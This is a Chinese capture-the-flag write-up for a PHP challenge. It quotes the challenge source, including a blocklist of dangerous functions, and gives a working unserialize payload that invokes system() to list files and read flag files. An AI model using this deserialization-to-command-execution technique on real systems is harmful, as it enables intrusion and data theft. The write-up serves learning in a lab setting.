[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

抓包之后是这么个玩意
func是一个函数名，而p是一个参数，所以可以猜测用func来执行p
我们试一试highlight_file和index.php
有回显但是很乱
用func=file_get_contents&p=index.php

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);//gettime函数在这个地方被调用
        }else {
            die("Hacker...");
        }
    }
    ?>

$disable_fun非常不当人地把我知道的函数全给过滤了，看了wp后知道，unserialize函数没有过滤，所以可以用反序列化

知识点：call_user_func

1. call_user_func(函数, 参数)，返回值为函数执行参数后的结果

调用gettime函数的是最后一小段代码，而给的类应该是个提示，没有被调用

func=unserialize&p=序列化的结果

<?php
class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
echo serialize($a);

run： O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

p=ls ../../../..

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:14:"ls ../../../..";s:4:"func";s:6:"system";}

没找着啊

知识点：寻找flag文件常用命令小结：

1. system(‘ls’) : 列举当前目录下的所有文件
2. system(“find / -name flag*”)：查找所有文件名匹配flag*的文件
3. system(“cat $(find / -name flag*)”)：打印所有文件名匹配flag*的文件

p=cat $(find / -name flag*)

最终payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}